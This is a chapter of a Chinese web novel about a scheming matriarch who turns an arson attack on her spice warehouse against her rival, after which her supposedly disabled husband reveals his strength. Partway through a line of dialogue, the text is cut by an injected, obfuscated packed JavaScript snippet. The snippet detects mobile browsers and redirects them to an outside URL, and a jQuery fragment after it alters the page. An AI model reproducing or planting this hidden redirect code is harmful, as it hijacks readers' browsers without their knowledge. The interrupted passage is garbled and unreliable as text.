45. 被烧毁的药香库房
作品:《疯批主母圈养的黑心少主》 那双平日里被病弱与温润层层包裹的眼眸,此刻犹如撕开伪装的凶兽,野性毕露,侵略性十足。
他身上那股若有似无的龙脑香,被这狂暴的情绪一催,竟也带上了几分雪后寒刃的锋利。
沈惊鸿被他压制着,身下是柔软的锦被,身上是滚烫如烙铁的胸膛,避无可避。
她能清晰地感受到他贲张的肌肉下蕴藏着何等恐怖的力量,那绝非一个“病弱”之人所能拥有。
但她不怕,反而笑了。
那是一种混杂着欣赏、挑衅与一丝癫狂的笑意。
她微微偏头,乌黑的发丝滑落,拂过他紧绷的下颌线,语气轻佻又无辜:“少主这话说的,我们不是夫妻吗?夫妻一体,我的戏,自然也是你的戏。怎么,刚才我坐在少主腿上,伺候少主喝药时,少主不开心吗?”
她故意将“伺候”二字咬得极重,暧昧的尾音像羽毛,轻轻搔刮着他紧绷的神经。
谢连舟的眸色骤然暗沉,仿佛能吞噬一切光线的深渊。
他没有回答,视线却缓缓下移,落在了她因方才的拉扯而微微散乱的衣襟上,一小片雪白的肌肤若隐若现,刺痛了他的眼。
他的喉结滚动了一下,压低了声音,那声线里带上了警告的沙哑:“沈惊鸿,别玩火。有些代价,你付不起。”
就在这气氛紧绷到极致,仿佛一根弦随时都会断裂的瞬间——
“砰!”
寝殿的大门被人从外面用一种近乎自毁的力道狠狠撞开!
管家李诚连滚带爬地冲了进来,他那张一向沉稳的脸上满是黑灰与绝望,声音凄厉得变了调:“主母!少主!不好了!咱们城南……城南最大的那间香料库房……着火了啊!”
他扑倒在地,几乎是嚎啕出声:“是萧珏!是那个天杀的萧珏派人干的!他前脚刚走,后脚就派人纵火!我们才入库的第一批‘净雪龙脑’……全完了!全都烧成灰了啊!”
“净雪龙脑”!
那是沈惊鸿以整个将军府义女的嫁妆为抵押,才从西域商人手中换来的珍稀香料,是她反击萧家,重振谢氏商路的第一步,也是最关键的一步棋!
此言一出,谢连舟眼中翻涌的欲念与怒火瞬间被冰冷的杀意取代。
他猛地回头,那眼神让李诚噤若寒蝉。
然而,被压在身下的沈惊鸿,反应却大大出乎了所有人的预料。
她脸上没有半分惊慌或愤怒,那双潋滟的桃花眼里,反而迸射出一种棋手看到猎物精准落入陷阱的、近乎残忍的兴奋光芒。
“烧得好。”她轻声说道。
下一秒,她手腕发力,以一个巧劲挣脱了谢连舟的钳制,行云流水般从他身下翻身而起。
那动作快得只留下一道残影,让谢连舟都为之一怔。
她迅速整理好微乱的衣衫,那股慵懒妩媚的气质荡然无存,取而代之的是一种令人心悸的果决与疯狂。
“传我命令!”她的声音清越而冷酷,响彻整个院落,“所有人,不准救火!非但不救,还要给我扇风!让火烧得更旺些!”
“主母?!”李诚简直不敢相信自己的耳朵,那可是谢家近半的家底啊!
沈惊鸿根本不理会他的震惊,径直走到墙边,在一处不起眼的暗格上敲击几下,一间密室的门应声而开。
在众人惊愕的目光中,她竟从里面拖出了一袋又一袋的药粉,那些药粉色泽驳杂,气味刺鼻,正是之前炼制失败的残次品!
“把这些,全都给我扔进火里去!”她指着那堆积如山的残次药粉,下了第二道更令人匪夷所思的命令。
谢连舟看着她这一连串疯狂的举动,眼中的风暴反而渐渐平息。
他没有阻止,只是静静地看着,他意识到,这个女人布的局,远比他想象的要大得多,也狠得多。
家丁们虽满心不解,却不敢违抗主母的命令。
一时间,城南谢家库房的火光冲天而起,火势非但没有减弱,反而愈演愈烈,黑色的浓烟如巨龙般腾空,直上云霄。
而当那些残次药粉被投入火堆的瞬间,异变陡生!
一股辛辣至极、带着强烈药味的怪异烟雾,以惊人的速度扩散开来。
它比寻常的烟气更沉、更烈,顺着风,如同一张无形的大网,迅速笼罩了小半个京城!
时值初冬,城中正流行着一场不大不小的风寒疫病,许多百姓本就咳嗽不止。
这股怪异的烟雾飘过,仿佛催化剂一般,瞬间引爆了全城的病灶!
“咳咳咳!”
“这是什么味儿?好呛人!”
“我的喉咙……咳咳咳……好痛!”
刹那间,京城的大街小巷,咳嗽声此起彼伏,连成一片。
那些本就患病的百姓,更是咳得撕心裂肺,几欲断气。
民怨,如干柴遇烈火,瞬间被点燃!
“是城南谢家的库房走水了!”
“我听说了!是兵部尚书的公子萧珏,他带人放的火!”
“天杀的!他烧库房,竟还往里面投毒!这是要我们全城人的命啊!”
舆论的导向,在沈惊鸿精准的算计下,以一种无可阻挡的势头,彻底倒向了纵火行凶的萧珏!
听风苑内,沈惊鸿听着外面隐约传来的喧嚣与咒骂,脸上露出一抹冰冷的笑意。
她转身回到房中,从袖中取出那卷薄如蝉翼的血色帛书——那份记载着萧珏弑兄夺嫡惊天秘密的铁证。
她随手抽过一叠库房的账目,将那份足以让萧珏万劫不复的残片,不着痕迹地夹在了其中一页。
“影一。”她淡淡地唤了一声。
那道鬼魅般的身影悄然出现,单膝跪地。
“把这份东西,立刻送往京察御史台,交到都察院左都御史张海青的手上。”沈惊鸿将那叠厚厚的账目递过去,语气平静无波,“就说,谢家状告兵部尚书之子萧珏,纵火行凶,意图谋害谢氏满门。此乃谢家库房被烧毁前的部分账目,以及……一些无意中发现的、与前太子暴毙案相关的‘趣闻’。”
影一接过账本,感受着其中某一页异样的触感,心中剧震,但他什么都没问,身形一闪,便消失在夜色中。
一石数鸟!
先以大火引爆民怨,再以铁证送其上断头台!
沈惊鸿这是要彻底断了萧珏所有的生路!
一直沉默不语的谢连舟,此刻终于缓缓开口,他的声音恢复了清冷,却带着一丝前所未有的凝重:“张海青是太子太傅的门生,为人刚正不阿,最恨构陷忠良。只要这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17461038|199505||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
东西到了他手里,萧珏的官途,乃至整个萧家,都完了。”
他深深地看着沈惊鸿,仿佛第一次认识她一般。
“你想要的,不仅仅是复仇。”
“我想要的,”沈惊鸿转过身,迎上他的目光,一字一句道,“是拿回本该属于我的一切,再把欠我的人,连本带利地踩进泥里!”
话音刚落,谢连舟突然操控轮椅,向她靠近。
在沈惊鸿微愕的注视下,他撕下了脸上那层病弱的伪装。
只见他伸手在轮椅扶手的暗扣处一按,那精铁打造的轮椅竟从中断开。
他长身而起,那双被传言“残疾”了数年的双腿,稳稳地立于地面,笔直而修长,充满了爆发性的力量。
他随手脱下那身象征着病弱的雪白长衫,露出里面早已穿好的黑色劲装,衣袂翻飞间,他精壮紧实的身材展露无遗,肩宽腰窄,气势凌厉如出鞘的利剑。
“锵!”
一声龙吟般的脆响,他竟从轮椅的暗格中,抽出了一柄寒光闪闪的软剑!
剑身如秋水,映着他那双再无半分温和的眼。
这个男人,从始至终,都在伪装!
“京城要乱了。”他看着沈惊鸿,声音低沉而有力,“萧家倒台,各方势力会像闻到血腥味的鲨鱼一样扑上来,接下来是一场血腥的清洗。这里,不能再待了。”
不等沈惊鸿反应,谢连舟已大步上前,手臂一伸,以一种不容抗拒的强势姿态,轻松地将她打横抱起!
沈惊鸿惊呼一声,下意识地环住他的脖颈。
他抱着她,大步流星地走出寝殿,院中,一匹神骏的黑色宝马早已备好,马身在寒风中喷吐着白气。
谢连舟抱着她翻身上马,动作干净利落。
他将她稳稳地置于身前,用自己的胸膛和双臂,为她构成一个密不透风的坚固壁垒。
“去哪儿?”沈惊鸿贴在他滚烫的胸膛上,感受着那强劲有力的心跳,终于问出了声。
“塞外。”谢连舟拉紧缰绳,声音被风吹得有些模糊,却清晰地传入她的耳中,“带你去看一样东西,我们谢家真正的根基——一座足以武装十万大军的铁矿。”
马匹长嘶一声,四蹄翻飞,载着两人冲破了听风苑的大门,如一道黑色的闪电,奔入了京城漫天的风雪之中。
寒风如刀,刮在脸上生疼。
沈惊鸿将脸埋进他温暖的胸膛,手心紧紧贴着他心脏的位置,那里的每一次搏动,都仿佛在向她宣告着一个不容置喙的事实。
就在这时,谢连舟低沉而霸道的声音,夹杂着风雪,厮磨在她的耳畔,每一个字都带着滚烫的温度,烙印进她的灵魂深处。
“沈惊鸿,过了这道关,你这辈子都别想再回萧珏身边,哪怕是死,也得进我谢家的祖坟。”
黑马奔腾,踏碎了一路的积雪。
京城的喧嚣与火光被飞速地抛在身后,前方是无尽的、被风雪覆盖的苍茫大地。
谢连舟怀抱着他此生唯一的珍宝,心中只有一个念头:更快些,必须更快些。
他身下的这匹北境宝马,是精挑细选的耐力之王,足以应付长途奔袭,但身后那些苍蝇的嗅觉同样灵敏,他必须在他们反应过来之前,彻底消失在他们的视野里。

